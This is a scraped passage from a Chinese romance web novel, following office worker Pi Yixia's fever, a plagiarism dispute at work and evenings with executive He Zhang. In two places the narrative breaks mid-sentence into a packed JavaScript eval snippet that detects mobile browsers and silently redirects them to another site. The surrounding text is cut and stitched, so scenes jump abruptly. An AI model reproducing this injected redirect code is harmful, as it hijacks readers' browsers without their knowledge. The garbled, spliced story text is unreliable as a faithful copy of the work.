皮一夏拎着袋子走出去,坐在沙发上,取出退烧药问:“你怎么买三种呀?” “你平时吃哪种,就吃哪种。” “其实我低烧一般不吃药,多喝点水休息休息,就差不多了。”她说着取出温度计,对着光线转动,慢慢笑了起来,“你看,三十七度五,我就说是低烧吧。” 贺章接过来看了看,确如她所料,不过他还是不满地瞥了她一眼:“你得意什么?” 皮一夏又默默低头,假装翻药盒,絮絮叨叨说:“这个温度也不算低,烧起来的可能很大,我要不,先冲一杯小柴胡,解解汗,不行了再上布洛芬。不过我家本来就有布洛芬,如果半夜烧起来,我自然会吃药的。” 这意思,她会照顾自己?而他买药是多此一举? 皮一夏说完了话,有几秒没听见人声,不由抬起头来,冷不防看见一张臭脸,脑子里瞬间警铃大作。 “我不是那个意思!”她站起身,走到他面前,揪住他衣袖,讨好地晃一晃,“我是想说,我皮糙肉厚,发烧其实没什么,劳累你买药又烧水的,心里挺过意不去的。” “哪个女孩子会说自己皮糙肉厚。”他语气里含着十分的不认同,眉心拢着一团黑雾。 “别生气了嘛!” 她嘟了嘟嘴,有点撒娇的语气,贺章忽觉胸腔里软软地塌了一块,很快就坍得不成样子。 “去吹头发。”他说。 语气和缓,似乎不生气了。 皮一夏忙点头:“好的,我去吹头发。” 这时候,老板让干嘛就干嘛,准没错。 她快步走到卫生间,抓起置物架上的吹风机,插上电,开到最大档,一会儿功夫就吹了个八分干。 回到客厅,贺章正在沙发上坐着,不知在跟谁通电话,听的多说的少,很快收了线,扫她一眼,下巴朝沙发抬了抬。 皮一夏慢吞吞坐过去,从药盒里取出一包小柴胡颗粒,撕开包装袋,倒进热水中,晃一晃,等水晾温了再喝。 贺章看着她做完这一切,淡声说了句:“躺下吧。” “哦。” 皮一夏乖巧地侧躺在沙发上,随手拎过一条毛毯盖在身上。 没人说话了,屋里安静得过分,她开始回想,事情是怎么发展到现在的。 贺章去高铁站接了她,还给了她一个拥抱,回来发现她发烧了,又去帮她买了药,现在还坐在沙发上,陪着她。他对床伴,做的是不是太好了? 换成别的床伴,他也会这么做吗?还是单单对她呢? 有没有可能,他也有几分喜欢她?但他说过,恋爱是浪费时间……可是他这样好,以后分开了,她要怎么适应呢? 皮一夏暗暗叹了口气,悄悄往上蹭了蹭,头顶抵到了他大腿外侧, 贺章察觉到她的小动作,很淡地牵了一下唇:“枕上来。” 她愣愣地偏头,从下往上,看他的脸,面无表情但好看的一张脸,她拿手肘撑起上半身,缓缓往上蹭,然后轻轻枕到了他腿上。 身体有点僵,头没敢压实。 他不悦地“啧”了一声,语带斥责:“你是鹅毛?枕好。” “……哦。” 她听话地卸了一点力,但仍没完全卸,脖子还是有点僵。 贺章的眉峰压了下来,倏地抬手,捏了捏她颈前的软肉。 “啊!” 她痒得叫了一声,身体骤然松弛下来,头也实实在在枕到了他腿上。 “你干嘛捏我!”她羞恼地控诉。 “你做作什么。” “……哼。” 皮一夏忽然晃了晃头,报复性地狠狠碾压他的大腿,感受到腿上肌肉忽然绷紧,她又忍不住缩了缩脖子。 贺章喉结微微滚动一下,幽深的眸子注视下方的人,默了几秒,他抬起手,缓缓拨开了挡在她颈侧的头发。 一张白皙小巧的侧脸露出来,眼睫不停抖动,似乎有点紧张,手心无意识地覆在他膝头,五指慢慢收紧了。 贺章低低笑了一声,修长的手指伸到她胸前……皮一夏屏住了呼吸。 然而,手指突然拐了个弯,指腹朝上,贴在她下巴的软肉上,挠了挠……像撸猫一样。 “你干嘛?”她红着脸小声抗议,“痒。” 她又不是Oliver。 可他并没有停止动作,仍然有一下没一下地抚弄。 她忍不住抓住了他手指,却听他缓缓道:“敢挂我电话了,嗯?” 这个上扬的“嗯”字就很妙,是个人都能听出来,这是算后账的意思了。 皮一夏默默松开手,抠着沙发巾,小声辩解:“是你先批评我的,谁愿意莫名其妙挨批评啊……” “我问,谁借你钱了,是批评你?” 皮一夏噎了噎,忽然坐起来:“我该喝药了!”说着端起茶几上的小柴胡冲剂,捧着杯子咕咚咕咚喝起来。 听着动静大,但每一口都咽得小,且越喝越慢,用拙劣的小把戏拖延被追责的时间。 但药总有喝完的时候,贺章饶有兴致地注视着,等她放下杯子,又盘腿坐回沙发上,讪讪地瞟了眼他。 贺章挑了挑嘴角,忽然一手揽在她后腰,另一手穿过膝弯,用力一带,就将她放到了他腿上。 “……”又来了。 他这种突如其来强迫人坐腿的习惯,很不好……但她有点喜欢。 两手勾住他的肩,她安然坐在他怀里,抿唇笑了笑:“你没有批评我,是我当时心情不好,没有照顾你的感受。” 漆黑的眸子紧紧凝住她,贺章忽凑过去,啄了啄她的唇,低声问:“为什么心情不好?” 温热的气息扑在她唇上,一股甜腻的木香散逸进鼻腔,是她刚喝的中药味,他竟也不嫌弃。 皮一夏感觉这包中药冲剂不是喝进了胃里,而是喝进了心里,她不由松懈了力气,坦然靠在他胸膛上,慢慢说:“我回了一趟老家,见了个亲戚……没什么大事,现在已经好了。” 贺章低眼:“这个亲戚,借了你钱?” 他忽然想起,之前听见她在花坛边打电话,似乎就是在说钱的事。 皮一夏“嗯”了声:“我姑姑,家里孩子生了病,需要钱做手术,我给了她五万块,以我对她的了解,这钱多半是有去无回。老家的亲戚就是这样,以为我们在北京工作,是有多大的出息,手里不知道存了几百万,回回遇上点难处就来借钱,三千五千的,给了也就给了,但是没完没了的借,也很烦。” 又是贺章没体会过的生活,他想了想问:“你很缺钱?” 皮一夏摇了摇头:“虽然我不富裕,但养活自己还是够的。不过我刚买了房,现在是个房奴,所以,你懂的吧?”忽然记起眼前这位大少爷的身份,不由抿了抿唇,“我忘了,你不懂。” 贺章确实没有这样的经历,不过他大致能理解普通人背房贷的心情,应该就如他担心集团失控落入外资之手的感觉,头上的紧箍是一天也没有卸下过。 唯一不理解的是:“房价还在下跌,现在不是入手的好时机。” “我知道啊。”皮一夏闷闷地说,“但是我感觉,可能永远没有最合适的时机,我决定买的时候,就是好时机。不管按照市值浮动来看,是不是亏了,至少我有实实在在握在手里的东西了,那一套房子的价值,对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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皮一夏面红耳赤地翻身坐起:“不不、我不是那个意思。我是说……” 话没说完,就又被贺章掀回床上,重新从背后圈住了她。 “……我是说,虽然我没有洁癖,但在床上都是穿睡衣,你还穿着外面的衣服呢。” 贺章顿了两秒,坐起身,脱掉风衣,随手丢到客厅的沙发上,走回来,仍侧身靠躺在床头,拥住她。 “裤子和T恤也算外面的衣服。”她又说。 “你敢嫌我脏?”贺章瞪着她,语带威胁。 皮一夏背朝他,抿了抿唇:“不敢。但是……” “差不多行了。”贺章沉声说。 “可是……” “嘶!” 贺章又坐起身,两手揪住T恤下摆,作势要脱,皮一夏忙扑过来按住:“你……你听我说完嘛!” 贺章停下动作。 “但是,我从来没让别人这样上过床,可是,我愿意为你破例。”她眼里藏着狡黠的笑意,显然是故意捉弄他。 贺章暗暗咬牙,忽然抬手,扣住她后颈,稍稍用力就把她压至身前,叼住那张可恨的小嘴,狠狠吮了一番,直把人亲的湿淋淋红艳艳的,才停下来。 “还有谁上过你的床?你没破例的都是谁?”贺章的眼睛危险地眯了起来。 皮一夏脖子一缩,自动倒回床上,撩起被子蒙住了自己。 他怎么总是听不懂她的重点…… 贺章“哼”了一声,重新靠躺回去搂住她。 屋子的顶灯在客厅,卧室里只有床头灯昏黄的光,还有玻璃屏风透过来的少许白光,一室暧昧不明,正适合睡觉,然而,先前困得要死的人,此刻一点睡意也没有。 背后的人,呼吸轻不可闻,不会睡着了吧,他难道不回家吗? 皮一夏悄悄转头,朝后看了一眼,他的眼睛闭着,斜侧身子,歪靠在床头软垫上,好像真的睡着了。 她轻手轻脚地翻了个身,面朝向他,一抬眼,冷不防对上一双漆黑的眸子。 “动什么动?”他凉声问。 皮一夏尬笑:“你还没睡着吧……要不,好好躺下来吧。这姿势,大概不舒服。” 贺章没动,神色沉静地说:“不用管我,睡你的。” “哦。” 她垂眸安静了片刻,忽然又开口:“Ethan,没有别人上过我的床。” 虽然很没有必要解释这一嘴,但,他既然问了,她还是想答一句。说完没听见他应声,皮一夏稍稍仰头,却见贺章眉心蹙着。 “你觉得,我是介意别的什么人,才不肯躺下来?” 她忙摇头:“没有。我随口一说,你就随便一听。” 话音落,贺章突然把她压到身下,有点咬牙切齿地说了句:“你要不想睡,就别睡了。” 32. 捉弄 温热的触感落在她唇峰、脸颊和脖颈……呼出的气息烫人,手探进被子,在她衣下摸索,被握住时,她瞬间脸皮涨红,猛地按住那只筋骨分明的手。 “别、别……我想睡,这就睡了……”她紧闭双眼。 贺章低哼了一声,松开手,从被子里出来,绕去她背后,将人揽到怀里。 皮一夏半趴在他胸膛上,好一会儿才平复心跳。 他又闭上了眼,大掌托着她后脑勺,拇指似无意识的,一下一下地摩挲,她渐渐被养出些困意。 临入睡前,又听见他说:“收拾几件日常的换洗衣物,下周放到我那里。” “为什么?”她倦懒地问。 “你别忘了,下周你欠了多少债。如果太晚了,就在家里对付一宿。” “……哦。” 之后再不闻人声,她很快睡了过去。 等她睡熟了,贺章轻轻收回垫在她颈下的手臂,坐起身,线上下单了一个额温枪,约么半小时后,快递上门送货了。 他拆开包装盒,取出额温枪,靠近她额头测了测,三十七度二,热度降了一点。脸蛋酡红,大概是散热的迹象。 贺章摩挲着她脸颊的皮肤,无声笑了笑,又靠躺回去,闭上眼睛眯了一会儿。 夜里十一点半再测,体温已经降到三十六度九了,贺章放了心,收好额温枪,回到客厅,穿起风衣外套。 离开之前,又走回卧室,倾身在她额间印下一个吻。 好梦。 节后上班第一天,皮一夏身似游魂,打眼一看,整个办公区几乎全员生无可恋,仿佛假期没有令人回血,反而被吸干了精气。 张宝静瘫在椅子上,双眼迷茫:“我是谁?我在哪?放假前我是干什么的?” 皮一夏拍了拍她:“放假前你是牛马,意外当了七天人类,现在要重新做回牛马。想开点,凑合活着吧。” “苦涩……”张宝静缓缓转头,瞧见皮一夏在冲药剂,“皮皮姐,你生病了?” “发烧,已经退热了,但还有点鼻塞,所以要再吃两天药。” 张宝静点了点头,转念想起一事,凑近她耳边又问:“Daisy那事,你打算怎么办啊?” 皮一夏搅拌药汤的手顿了顿:“开撕。” 升不升职不重要,她要的是一个公道。所以Vivian一上班,皮一夏就敲门进了她的办公室,把这件事说了。 Vivian挺着快八个月的大肚子,坐在办公桌后面,听完似乎没有很惊讶,只说:“这件事我知道了,你先去忙吧。” 皮一夏被这不咸不淡的回复整愣了。 “Vivian,比稿邮件的第一接收人是您,按道理您应该看过我和Daisy的文件,不会没有发现其中的雷同之处,您难道不疑惑吗?” Vivian长了一双清冷犀利的眼,通常是成熟干练的职业形象,偶尔眼中也会闪烁几分温情,就如此刻。 “皮皮。既然你问了,那我不妨直说。我确实发现你们的文件相似,之所以没有过问,是因为你的提交时间,比Daisy晚了一个小时。” 皮一夏满脸错愕,呆了好几秒才说:“所以您认为,是我抄袭了Daisy?您这么做,还是在保我?!” Vivian摇头:“咱们关起门来说,你的能力和品性,我信得过,但我是一个大部门的负责人,要讲事实,讲证据,不可能仅凭相信二字做事。” “事实就是Daisy抄袭了我的方案,而我被蒙在鼓里!证据就是有人看见Justin动过我的电脑,我要求调监控。” 皮一夏感到愤怒,身体都有点发抖。Vivian皱着眉头,一时没说话。 两人沉默对视片刻,皮一夏压着火气又说:“Vivian,我知道您任期将满,不希望再惹出什么麻烦,我也不想给您添麻烦。Daisy的任命通知已经发布了,似乎木已成舟,但舟上木是从我这里偷来的。我现在不关心升职,只要公道!” Vivian靠在椅背上,轻轻叹了口气:“我会跟赵总说这件事,但到如今,我能干涉的有限,你要有个心理准备。” 皮一夏心下了然。 新人即将上任,Vivian时代正在成为过去,她的话在赵衡面前有多大分量,是个未知数,更何况赵衡跟Daisy关系特殊。这件事要想得到公平解决,只怕不容易。 但这么大个公司,总不能明目张胆地包庇违规的员工吧。无论如何,必须得有个说法。Vivian能在赵衡面前撕开这件事,就算是帮忙了,她并不期待更多。 “谢谢,Vivian。” 回到工位坐下,一向傲慢的Justin竟然跟她主动打招呼:“皮姐,Vivian找你干什么啊?” “和你无关。”皮一夏冷笑一声,“但也不是完全无关。” Justin愣了一下,表情变得严肃起来。皮一夏没再理会他,开始专心处理手头的工作。 下班之前,收到了赵衡的微信:「来一下。」 皮一夏锁好电脑,去了赵衡的办公室。一进门,赵衡就从办公桌后绕出来,和颜悦色地请她在沙发上坐。 “我听说,你对竞聘的结果有异议?”赵衡坐在对角的单人沙发里,看着她问。 皮一夏听出了他的避重就轻,冷静道:“赵总,我是对竞聘的过程有异议。Daisy抄袭了我的方案,Vivian应该和您说过了吧。” 赵衡没想到她这么直,脸色有点尴尬:“你们的方案,我看了,确实有几页相似,都是数据相关的内容,属于客观事实。且不说提交时间先后的问题,单从内容上看,也说不上是抄袭。” 这是打算包庇Daisy到底了。皮一夏心中冷笑。 “赵总,您贵人事忙,可能看得不仔细。相似的十页里,只有三页和数据相关。我不知道公司怎么判定抄袭,如果一个不到三十页的PPT,其中十页内容一样,这都算不上抄袭的话,那我对公司的判定标准感到困惑。” 赵衡脸色沉了些:“我知道你没晋升成功,心里有怨气,却不能因为这样,就质疑公司的标准,标准对每位员工都一视同仁。”他说着话锋一转,语气和缓了些,“现在Daisy的晋升流程已经走完,上报了集团,再追究过程里的一点瑕疵,没什么意义。你的能力,我是看在眼里的,Vivian也时常夸你,这次没竞上,确实有点可惜,但你放心,下次一定有机会。年轻人……有点耐心。” 赵衡拍了拍她的手背,掌心扣上去,每一下的停顿都很实在,她感觉很不适,不由蹙了蹙眉,生硬地躲开了。 在华森文娱任职五年,她和赵衡直接打交道的时候不多,但对这位老板还是有点了解的。年近四十爬到首席运营官的职位,赵衡的工作能力是有的,管理风格上属于老好人,贯会和稀泥,这大概是所有领导的必备技能,别说赵衡,连她自己也深谙其道,但Daisy和她之间,不是业务意见不合,而是严重的原则问题。 一个大公司的首席运营官,为保自己的情人,可以睁着眼睛说瞎话,顾左右而言他,昏庸至此,赵衡以前就是这样的人吗?她有点困惑了。 皮一夏意识到,在赵衡这里,是要不来公平了,他是公司老板,是制定游戏规则、掌控员工命运的人,自己再愤怒下去,也不过徒增难堪。与其向这样一个人要公平,她更想保住自己的体面。 “赵总,Daisy和Justin狼狈为奸,您清不清楚,我不做评价。如果公司坚持要帮Daisy站台,我无话可说,但Justin这个人,我是肯定不会要了。不管公司用什么方法,希望尽快让这个人从我的部门消失。最后还有一句,我很失望,从来没有像今天这样失望过。” 皮一夏说完起身,离开了赵衡办公室。 Justin怼她那句话很好,此处不留爷自有留爷处,但在离开之前,她必须把部门里的顽疾清除掉。 皮一夏在工位上坐到七点多,心情还是很差。 关电脑时,最后刷了遍邮箱,看到了贺章发布的全员内部信,主旨是分享集团未来发展战略,并官宣文娱集团负责人褚彦。 短短几百个字,没有华丽的辞藻,很平实,在提到降本增效时,甚至显得有点不近人情,通篇一句废话也没有,却让人读出一种蓄势待发的力量感。 很像他那个人。 想到贺章,就不可避免地记起,从周一到周六,每天都有两小时之约。可是她今天想早点回家,谁也不想见。 纠结了一会儿,还是给他发了微信:「Ethan,你今天加班吗?要是忙,咱们就明天见?」 过了几分钟,收到他的回复:「让司机送你去别墅。我定了点东西,你先回去收一下。」 果然逃不掉……去就去吧,但是司机就算了。 皮一下很开心:「我坐地铁过去,很快的。你忙吧。」 皮一夏收拾好东西,背上包往外走,等电梯时,又收到贺章的消息。 「车在侧门等着。」 霸道总裁真是说一不二。 皮一下很开心:「哦。」 走出园区侧门,一眼就看见了路边的吉普车,她打开车门坐进去,司机董力朝后视镜看了眼,主动和她打招呼。 “您好,Lola小姐。” 这个称呼让她有点恍惚,愣了愣才回话:“您好。” 董力发动车子,皮一夏歪靠在后座上,默默刷手机。不是她记仇,实在是此时心情不佳,懒得和人说话。 但董力以为她还在生气,开了一段路后,小心翼翼地说:“对不起啊Lola小姐,上次的事,是我不好。第一次开劳斯莱斯,我紧张失常了,溅了您一身泥,我应该先道歉的。” “没关系,我不生气了,您也别放在心上。”她抬起头说。 董力这才松了口气,说话也随意了些。 “被辞退之后,我也反思了……” “辞退?!”皮一夏讶然惊呼。 董力一愣:“您不知道吗?我还以为,能重新回来工作,是您帮忙说的情。” “……我都不知道你被辞退过。”皮一夏懵懵地看着后视镜,“为什么啊?就因为跟我发生了一点小纠纷?” 她竟然在不知道的时候,让一个打工人丢了饭碗? “啊……林助理说,贺总最讨厌等,讨厌被人浪费时间。其实他这种身份的人,也可以理解,每一分钟都很有价值,想给他当司机的人太多了,确实没有必要容忍一个犯错的人。” 他啥身份,说开除人就开除人啊!就不能训诫几句再给个机会嘛……果然是资本家! “那你为什么又回来了呀?” 董力茫然摇头:“我也不知道,后来是林助理打电话,问我还愿不愿意回来,我当然愿意啊!给贺总开车的薪水,是给其他老板当司机的两倍,换谁谁不愿意,你说是吧?” 把人踹出门,又把人喊回来,呼来喝去随心所欲,当老板的没一个好东西!哼!臭资本家!世上的打工人都是董力!她就是千千万万董力中的一个。 皮一夏腹诽了一会儿,想起昨晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14649700|153805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他给她买药、抱她入睡,又觉得这样想贺章,有点没良心,但……还是生气。 这个气一直生到贺章进门时。 两人对视一眼,皮一夏抿了抿唇,端起杯子迎着他走过去。 “渴吗?喝水。” 贺章有点愣,接过她递来的杯子,脸上现出狐疑之色:“怎么忽然这么乖?” 他盯着她喝了一口,咽到一半,身体倏地一僵,忙快步走到卫生间,把剩下的半口吐进水池里。 这不是水,是一杯白醋! 贺章沉着脸从卫生间出来,看向门边那个一脸得意的丫头,暗暗咬了咬牙,大步走过去,一把扣住她后颈,狠狠亲了上去! 她眼中的狡黠霎时变作震惊。 “唔、唔……” 皮一夏两手拍打贺章,挣动了几下,却被他攥住手腕,果断反剪到背后,像拍到案板上的鱼一样,一动也动不了。 贺章野蛮地撬开唇缝,侵入她口中,反复吮弄她的舌,眼睁睁瞧着她被酸得小脸皱巴,眼泪都快冒出来了,方觉得解气。 他稍卸了点力道,扶着她下颌,动作轻柔地舔舐两下。皮一夏趁机一把推开他,拔腿就往洗手间跑。 哗哗的水流声和漱口声中,贺章闲庭信步般走到洗手台前,和镜子里的人对视。 “还敢作怪吗?”他淡声问。 皮一夏恨恨瞪他,“哼”了一声,扭头就往外走。 贺章抿唇笑了笑,也漱了口,走出卫生间。 “在做什么?”他走到厨房,站在她身后问。 皮一夏怨气比鬼还重:“不是你要吃火锅嘛!” 她提前回来收的东西,是涮火锅的牛羊肉和蔬菜,现在肉已经拆封摆盘了,就差几种蔬菜还没处理完。 贺章把炉子和锅安置在岛台上,锅中加底料开始熬汤,又把她处理好的食材和蘸料一一摆上。 皮一夏正在洗木耳,忽然感觉贺章站在身后,胸膛贴上了她的后背,她身体一僵,下一瞬,他两手伸到水盆里,抓住了她的两只手。 “你干嘛……”她小声道。 大掌浸在水里,掌心贴着她手背,像教她洗菜一样,带着她一起,轻轻揉搓木耳。下巴贴着她颈窝,蹭了蹭,胡茬像细细的磨砂,她不由缩了缩脖子, “痒。” 低低的笑声在耳畔,温热的鼻息烫红了她耳朵。 “还发烧吗?”贺章问。 她摇了摇头:“不烧了。” “所以有精神捉弄我了?” “我……”她一时语结,想到司机董力,又气呼呼说,“你活该!” “嗯?”贺章拧眉,扳过她的脸,“再说一遍。” 皮一夏瞧他面色不悦,识时务地认怂:“我不说。” 贺章瞪了她一会儿,忽然张口咬住她耳垂,含了一下。 她猝不及防脸色涨得通红,回过神拿手捂了捂耳朵,羞恼地一把推开他:“你怎么这样?”说着还不解气,又攥拳打他。 贺章抓住她拳头,另一手绕到她臀后,轻轻一托,就把她抱起来放到了岛台上。 大理石台面冰凉,她下意识要往地上跳,却被贺章紧紧抵住了腿。 一手掰开她膝盖,劲腰挤进双腿之间,她的膝盖内侧紧贴着他的腰,这姿势太尴尬了,她忍不住朝两边分,可敞着腿更尴尬……皮一夏面红耳赤,使劲推他肩膀。 “你起开,干嘛这样……” 贺章岿然不动,大掌在她腰后收紧,强迫她伏在怀里,另一手抬起她下颌,漆黑的瞳中闪过浓浓的欲色。 “亲我。”他声音暗哑。 皮一夏心尖一抖,感觉浑身都软了,鬼使神差地凑过去,贴了贴他的唇。 腰后的手一时扣得更紧,掌心摩挲着,柔软之处贴着坚实的胸膛,贺章低下头,埋首在她颈窝处吸吮、啃噬,像一头凶兽捕获了美味的猎物。 身体里好像有蚂蚁在爬,她忍不住轻轻颤抖,蜷缩着脚趾,无助地求他:“别、别亲了……好痒……” 这话多半不可信,她还紧紧搂着他脖子,丝毫没有要推拒的意思。 疾风骤雨过了许久才停,是被烧滚的火锅汤底扰停的,贺章抬手关掉炉火,埋在她肩上喘息着平复。 “为什么捉弄我?”他继续追究。 皮一夏瘫在他怀里:“因为你是资本家!” 贺章笑出声来,抬手掐了掐她脸蛋,皮一夏恨恨推开他,往地上跳时,忽又被他搂住腰,直接抱了下来,吓得她心脏空了一拍。 把洗好的木耳装盘,放到岛台上,她的脸颊还红着,也不抬眼看贺章,自顾自坐到高脚椅上,重新按开炉火,往锅中下肉片。 贺章笑着从她身后绕过来,坐到旁边的椅子里。 皮一夏盯着汤里翻滚的肉片,脑子里忽然闪过个念头:她刚刚,是不是就像这片肉一样,被他作弄得翻来覆去又逃脱不得。 转头,贺章正撑着下巴盯她,眼里的笑意分明是报复得逞的快慰。 她默默撇开脸。贺章抄起筷子,捡出烫熟的牛肉,放到她碗里。 “今天做什么了?” “上班,还能做什么?” “有发生什么事吗?” 皮一夏默了两秒:“没有。” 贺章挑了挑眉,把筷子放到了碗上,转头盯着她。 皮一夏莫名其妙:“你看我干嘛?我脸上有花?” “没花。有字。” “嗯?什么字?” 难道碳素笔不小心画脸上了?她下意识伸手去摸。 33. 掌心 “不老实。” “……” 哼。不会说话您就别说了。 贺章牵唇笑了一下,拿起筷子继续吃饭。 皮一夏情绪不高,不主动开口,贺章偶尔给他夹一筷子菜,夹什么她就吃什么,还吃的挺香,额角冒着细汗,小脸被热气蒸的红扑扑,看上去乖的不行。 安安静静的一顿火锅吃完,皮一夏去洗碗,贺章又站到她背后,握着她两手一起洗。 “你这样把着我,多耽误进度。”她忍不住抱怨。 贺章淡淡道:“你赶进度是要拿奖金?” “……” 本来十分钟可以解决的碗,生生洗了二十分钟。 皮一夏看了看表,八点四十了,她七点半到这的,还差一个小时,干点什么呢? 她拿眼瞟贺章。 贺章想了想,拉着她去了三楼拐角的一个屋子。 皮一夏一进去就惊呆了,原来这栋别墅里还有私人影院……比她住的房子还要大。 靛青色祥云纹地毯中间摆着两张真皮躺椅,头顶的天花板是仿真星空,电子屏占据了前方的一整面墙,亮起的屏幕上展示着壮阔的山海壁纸图,两侧墙上安装了浅黄色壁灯,屋里的光线柔和舒适。低调奢华几个字,她已经说腻了。 “看电影吧。”贺章说。 皮一夏从惊叹中回神:“哦,行。” 她坐到靠里边的躺椅上,贺章手握遥控器,站在屏幕前挑影片。 《流浪地球2》,皮一夏摇头:“场面太大,烧脑。” 《长安三万里》,摇头:“时间太长,看完都半夜了。” 《封神第一部》,点头:“就这个吧。” 贺章理都没理,直接略过:“看点健康的。” “封神怎么不健康了?!”皮一夏不服。 “暴露镜头太多。”尤其是男的。 “……” 《人生大事》,摇头:“看完会难过。” 《夏洛特烦恼》,摇头:“我笑点很高。” “……” 贺章深吸一口气,转到外语片频道,又选了两部,皮一夏仍然不满意,最后光标定在了《闻香识女人》。 皮一夏刚要开口,贺章转过头,眼神暗含警告,仿佛再不满意就要打人了。 她尬笑两声:“就这个吧,我想看。” 影片开始播放了,大学生男主出场,皮一夏眼前一亮:“好正气的小帅哥!” 贺章瞥了她一眼:“看你的电影。” “好的。” 几分钟后,退役军人男主出场。一间昏暗的房间里,窗帘半遮,一缕光斜斜打在老旧的皮沙发上,男人姿态闲适地坐在沙发里,两指夹着根烟,朝上举着。 “哇哦……阿尔.帕西诺好有味道一男人!越老越有味道。” 贺章眉心缓缓攒起,忽然站起来,走到她身边。 “你干嘛?”皮一夏话音刚落,被他一把抱起,“我不说了不说了……快放我下来。” 贺章没理会她的扑腾,抱着人径直坐回自己的躺椅上,皮一夏背靠他胸膛,仰躺在她怀里,身下压着某处,她瞬间脸热,挣扎着起身要逃。 贺章警告地“嘶”声,将她按回怀里:“别再动了。” “我自己坐在躺椅上更舒服。”皮一夏试图抗议。 “我知道。”贺章盯着屏幕说。 “你这个一言不合就抱人坐腿的习惯,挺奇怪的。” “别说话。” 皮一夏安静了一会儿:“会不会压坏你啊?” 贺章没理她。 那她可不管了。 两人叠在一起,看了十几分钟,皮一夏缓缓垂眼,贺章的指腹正在她肚子上揉捏。 “……” 她今天的毛衣是露腰短款,贺章的手直接抚在皮肤上,温热的触感来回游弋,麻麻的。 皮一夏憋了会儿,忍不住说:“你是不是把我当Oliver了,没有这么撸人的……” 贺章手指顿了顿,依旧我行我素。 “我其实一直想问,你是不是有什么皮肤饥渴症啊?”皮一夏幽幽道。 随时随地,亲起来没完,又是撸下巴,又是摸肚子。床伴的默契培养……需要做到这个地步吗? 贺章一本正经地盯着屏幕:“你还看不看了。” 哎……随便吧。 皮一夏重新把注意力聚到电影上,她无意识地晃了晃脚,拖鞋底不小心磕到贺章小腿,她急忙坐直,去帮他拍打西裤,冷不防听身后闷哼一声,她身子一僵,缓缓转回头。 “……我压到你了吗?” 贺章绷着脸,漆黑的眸子紧盯着她,眉心不平整,似有痛苦之色。 她忙跳下地,手足无措地说:“我就说……别坐坐腿吧……这不能怨我啊,你快看看,有没有事。” 她说完背过身去。 过了一会儿,听着身后没动静,正要转头看看,身体倏地腾空而起,她脱口惊呼一声,回过神时,已经再次被贺章横抱起来,转眼就放到了后墙的双人皮沙发里。 “……”吓得她差点流产。 贺章坐在沙发上,揽过她一双腿,抬到他腿上搭着,另一手扣到她颈后。 皮一夏对他这套动作已经很熟悉了,预判到他又要亲,急忙捂住了他嘴。 贺章攥住她手腕,试图抓下来,皮一夏死死压住了:“你不亲我,我就放开。” 贺章眉头拧着,十分不悦,过了几秒,还是放开了手。 皮一夏也放开他。 “为什么不让亲?”贺章沉声问。 这叫什么话?谁家好男好女亲起来没完的……这回谁说什么都不好使,她已经确定了,他就是有皮肤饥渴症。 她换了个表达:“肉吃多了,会腻。” “你觉得腻?” “也不能这么说……就是,好奇怪,有点羞耻。” 电视剧里要这么演,她肯定弃剧了,没点正事干了吗? 贺章盯她片刻,忽然将视线转回前方的屏幕,一脸正经地开始看电影,身上却隐隐散发出一股冷冽的气息。 被她怼的,生气了? 皮一夏默默蹭过去,靠在他肩头,瞄着他眼睛说:“我们可以用更文明的方式培养默契,偶尔亲一下,你说呢?” 贺章不动声色,看上去并没有消气。 皮一夏忽然仰唇,在他侧脸上亲了一下。 感觉他身体僵了一下,她趁热打铁:“你说呢?” 贺章终于淡淡地“嗯”了一声。 皮一夏松了口气,忽然又被他拖过去手,大掌将她包在掌心攥着……好像突然戴了个拳击手套。拇指还在一下下摩挲她的指节。 就说他有皮肤饥渴症吧!可怜的Oliver,也是天天这么被人撸吗?说起来…… “我怎么没见到Oliver?” “可能在你房间睡觉。” “我房间?” “花园木屋,二楼。”贺章瞥了她一眼,“Oliver喜欢那张床,自你睡过一晚后。” “……哦。” “所以,我让你带日常换洗的衣服,带了吗?” 皮一夏低了头:“没有……” 她今天早上想到这事,感觉有点奇怪,所以就没收拾。把衣服放在他家,住一宿,再住一宿……万一她住习惯了,越来越不想离开了,怎么办呢。 “正好我也想问问,你觉得,咱们的默契培养,需要多久啊?” 问出这个问题时,她也拿不准自己的想法。既希望这个过程延长,最好长到他也喜欢上她,又害怕拖得太长,她陷得更深,以后分开时会很难过。所以,干脆交给他来决定吧,反正他们之间,一向不由她决定。 她这样一个用情不深,抽身很快的女人,遇上不相信爱情的贺章,也算是报应了。 皮一夏靠在他肩头,垂眸等一个答案。 贺章沉默片刻说:“恐怕要很久。” 这是什么答案,说了等于没说。 “那你觉得,要培养到什么程度呢?” “到双方都认为合适的程度。” “……” 多久算很久?什么叫合适?这样含糊的答案,似乎正是她此刻需要的,皮一夏沉默了一会儿说:“也好。” “嗯。”贺章缓缓抚着她手背的皮肤,诱哄似的说,“不要当成一个任务,要更沉浸,要享受其中。比如……”他忽然抬起她的手,在手背上亲了一下。 “这样的动作,你需要认真感受,并给出反馈。喜欢就开心地笑,不喜欢……也要告诉我。” 影音室的灯光太柔和,他此时的眼睛里,透着几分温柔之色,她的心忽然变成了一团棉花糖,又松软又甜蜜,大脑像被蛊惑了似的,轻轻点头,接着扬起嘴角,朝他笑了一下。 “好的,Ethan。”她靠回他肩头,小声说。 电影画面还在不停变换,他们安静相拥,在昏暗的房间里,眼睛盯着前方屏幕,却再也没看懂之后的剧情。 十一点半,影片播完了。 皮一夏收回被他揽在膝头的小腿:“我要回家了。” “送你。” 他说着站起身,朝她伸出一手,皮一夏盯着他掌心的纹路愣了几秒,缓缓伸过去搭住,接着被他握在了掌心。 从影音室,到楼梯,到车库,再也没放开。 